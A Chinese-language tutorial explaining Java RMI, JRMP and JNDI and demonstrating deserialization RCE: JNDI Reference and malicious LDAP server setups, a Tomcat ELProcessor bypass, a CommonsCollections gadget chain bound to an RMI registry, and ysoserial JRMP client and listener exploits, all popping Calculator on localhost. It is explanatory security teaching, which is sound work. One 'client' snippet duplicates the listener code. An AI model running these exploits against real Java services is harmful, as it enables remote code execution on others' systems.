目录
0 前言
以往看到很多讲述RMI、JNDI、JRMP的文章,有部分文章都描述的并不是很清晰,看着通篇大论,觉得很详细,但看完之后却搞不懂,也解释不清,反正就是感觉自己还没搞懂,却又好像懂了点,很迷糊...
这篇文章,我想要的就是以最简短的内容和例子,去阐述RMI、JNDI、JRMP...,并讲讲为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE,为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE,为什么使用JRMP能互相对打等等。虽然我不能百分百保证我写的毫无错误,但是,我觉得你看了这篇文章之后,大概应该就懂了。
1 搞懂概念
1.1 RMI
以下是wiki的描述:
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。
根据wiki所说RMI全称为Remote Method Invocation,也就是远程方法调用,通俗点解释,就是跨越jvm,调用一个远程方法。众所周知,一般情况下java方法调用
指的是同一个jvm内方法的调用,而RMI与之恰恰相反。
例如我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称之为Interface Invocation,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口。并且Java中封装了RMI的一系列定义。
到这里了,我这边做个简短通俗的总结:RMI是一种行为,这种行为指的是Java远程方法调用。
1.2 JRMP
以下是wiki的描述:
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。
根据wiki所说JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议,通俗点解释,它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用。
还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,是用到基于TCP/IP之上的HTTP协议,只有通过这个HTTP协议,浏览器和服务端约定好的一个协议,它们之间才能正常的交流通讯。而JRMP也是一个与之相似的协议,只不过JRMP这个协议仅用于Java RMI中。
总结的来说:JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。
1.3 JNDI
以下是wiki的描述:
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
根据wiki的描述,JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。
总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
2 以攻击例子来阐述
前言已经说了“去阐述RMI、JNDI、JRMP...,并讲讲为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE,为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE,为什么使用JRMP能互相对打等等”
2.1 为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE
我们先看一个例子:
- 程序A
具有接口类HelloService和实现类HelloServiceImpl
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
System.out.println("hello!");
return "hello!";
}
}
启动了一个1099端口的Registry注册服务,并把HelloService接口的实现HelloServiceImpl暴露和注册到Registry注册服务
public class App {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", new HelloServiceImpl());
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
- 程序B
具有接口类HelloService
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
连接Registry并lookup查找到名为hello的对象
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
HelloService helloService = (HelloService) registry.lookup("hello");
System.out.println(helloService.sayHello());
} catch (NotBoundException e) {
e.printStackTrace();
}
}
- 启动程序A后,再启动程序B
在上述操作后,我们会发现程序A输出了hello,并且程序B也输出了hello。到底怎么回事呢?
其实,在程序A启动的时候,程序A启动了一个RMI的注册中心,接着把HelloServiceImpl暴露并注册到RMI注册中心,其中存储着HelloServiceImpl的stub数据,包含有HelloServiceImpl所在服务器的ip和port。在程序B启动之后,通过连接RMI注册中心,并从其中根据名称查询到了对应的对象(JNDI),并把其数据下载到本地,然后RMI会根据stub存储的信息,也就是程序A中HelloServiceImpl实现暴露的ip和port,最后通过JRMP协议发起RMI请求,RMI后,程序A输出hello并通过JRMP协议把hello的序列化数据返回给程序B,程序B对其反序列化后输出。
根据上述所说的流程,我们可以发现,如果要发起一个反序列化攻击,那么早在程序B lookup的时候,就会从Registry注册中心下载数据,前面也说了“服务名称和对象或命名引用相关联”,我们就可以通过程序A bind注册一个命名引用到Registry注册中心,也就是Reference,它具有三个参数,className、factory、classFactoryLocation,当程序B lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,从而在程序B lookup的时候实现加载远程恶意class实现RCE。
我们再来看一个例子:
- 程序A
创建了一个端口为1099的Registry注册中心,并注册了一个Reference到注册中心,该Reference引用了一个127.0.0.1中80端口http服务提供的Calc.class
public class App3
{
public static void main( String[] args )
{
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc","Calc","http://127.0.0.1:80/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("hello",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
- 程序B
public class App4 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
try {
new InitialContext().lookup("rmi://127.0.0.1:1099/hello");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
程序启动后,发现报错:
javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
因为在jdk8u121版本开始,Oracle通过默认设置系统变量com.sun.jndi.rmi.object.trustURLCodebase为false,将导致通过rmi的方式加载远程的字节码不会被信任,想要绕过有两种方式:
- 使用ldap服务取代rmi服务(在jdk8u191开始,引入JRP290,加入了反序列化类过滤):
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
/**
* LDAP server
*
* @author threedr3am
*/
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
run();
}
public static void run() {
int port = 1099;
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
String url = "http://localhost/#Calc";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(""));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
- 使用tomcat-el利用链:
PS:使用这种方式,需要lookup的客户端存在以下依赖
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
public class App
{
public static void main( String[] args )
{
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("hello",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
2.2 为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE
我们先看一个例子:
- 程序A
public class App {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while(true);
}
}
程序A创建了一个1099端口的Registry注册中心
- 程序B
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.*;
import java.rmi.AlreadyBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class App3 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap,"pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
try {
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
Map tmpMap = new HashMap();
tmpMap.put("pwn",badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(App3.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind("pwn",remote);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
熟悉ysoserial的小伙伴会发现,这其实就是一个ysoserial中的一个payload,而当我启动这个程序,并把这个payload对象动态代理成Remote,并注册到Registry注册中心后,注册中心就会被RCE弹出计算器。
为什么会导致这样呢?其实我们不难猜测,既然触发了RCE,那么必然Registry注册中心执行了这段代码,而这段代码怎么从程序B到程序A的呢,这其中必然是registry.bind("pwn",remote)这个方法中的细节,而java对于对象数据的传输,一向都是通过java原生序列化的方式进行,我们可以尝试抓包看看。
可以清晰的看到,程序B发送了序列化的数据流给程序A,这印证了我前面的猜测。
2.3 为什么使用JRMP能互相对打
在说使用JRMP为什么能互相对打前,我们回顾一下前面第一章写的JRMP的概念“JRMP是一个协议,是用于Java RMI过程中的协议,只有使用这个协议,方法调用双方才能正常的进行数据交流。”,很明显JRMP是一种协议,它规定了数据是以什么格式、什么形式在RMI的过程进行传输。那就不难理解为什么使用JRMP能互相对打了。
如果说,JRMP协议规定了RMI的时候,传输的数据包含有java原生序列化数据,并且在JRMP的客户端还是服务端,当接收到JRMP协议数据时,都会把序列化的数据进行反序列化的话,那么就不难解析了。
那我们再以一个例子,来讲述如何用JRMP协议使用客户端去打服务端:
- 服务端
我这里使用了ysoserial的payload直接创建一个JRMP的服务端
@PayloadTest( skip = "This test would make you potentially vulnerable")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.runDeserialize = true;
PayloadRunner.run(JRMPListener.class, new String[] {"8889"});
}
}
- 客户端
接着看ysoserial的exploit目录ysoserial/src/main/java/ysoserial/exploit
exploit
├─JBoss.java
├─JMXInvokeMBean.java
├─JRMPClassLoadingListener.java
├─JRMPClient.java
├─JRMPListener.java
├─JSF.java
├─JenkinsCLI.java
├─JenkinsListener.java
├─JenkinsReverse.java
├─RMIRegistryExploit.java
└RMIRegistryExploit2.java
其中,我们可以利用JRMPClient.java这个exploit去实现打服务端
public class JRMPClient {
public static final void main ( final String[] argsx ) {
String[] args = new String[] {"127.0.0.1","8889","CommonsCollections6","/Applications/Calculator.app/Contents/MacOS/Calculator"};
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
}
...
}
我们指定了当通过客户端使用JRMP协议去连接服务端时,使用CommonsCollections6这个payload(反序列化gadget chain),去RCE。
PS:在jdku121开始,部分class会被过滤,导致大部分payload不能被反序列化,报错:
一月 07, 2020 4:20:06 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class java.util.HashSet, array length: -1, nRefs: 2, depth: 1, bytes: 75, ex: n/a
具体怎么绕过,网上看着挺多文章分析的。
接着我们再以一个例子,来讲述如何用JRMP协议使用服务端去打客户端:
- 服务端
exploit
├─JBoss.java
├─JMXInvokeMBean.java
├─JRMPClassLoadingListener.java
├─JRMPClient.java
├─JRMPListener.java
├─JSF.java
├─JenkinsCLI.java
├─JenkinsListener.java
├─JenkinsReverse.java
├─RMIRegistryExploit.java
└RMIRegistryExploit2.java
我们这里的例子,使用的是ysoserial的JRMPListener.java,并监听9999端口的JRMP连接,当有客户端连上后,会以JRMP的协议格式,把CommonsCollections6的payload发给对方。
public static final void main ( String[] args ) {
args = new String[] {"9999", "CommonsCollections6", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
- 客户端
我这里使用了ysoserial的payload直接创建一个JRMP的客户端,连接127.0.0.1的9999端口
ysoserial.payloads.JRMPClient:
public static final void main ( String[] args ) {
args = new String[] {"9999", "CommonsCollections6", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
然后,就能看的计算器弹出来了,顺利RCE。
3 打法总结
- 打Registry注册中心
通过使用Registry连接到注册中心,然后把gadget chain对象bind注册到注册中心,从而引起注册中心反序列化RCE
- 打InitialContext.lookup执行者
通过使用JNDI的实现,也就是rmi或ldap的目录系统服务,在其中放置一个某名称关联的Reference,Reference关联http服务中的恶意class,在某程序InitialContext.lookup目录系统服务后,返回Reference给该程序,使其加载远程class,从而RCE
- JRMP协议客户端打服务端
使用JRMP协议,直接发送gadget chain的序列化数据到服务端,从而引起服务端反序列化RCE
- JRMP协议服务端打客户端
使用JRMP协议,当客户端连上后,直接返回gadget chain的序列化数据给客户端,从而引起客户端反序列化RCE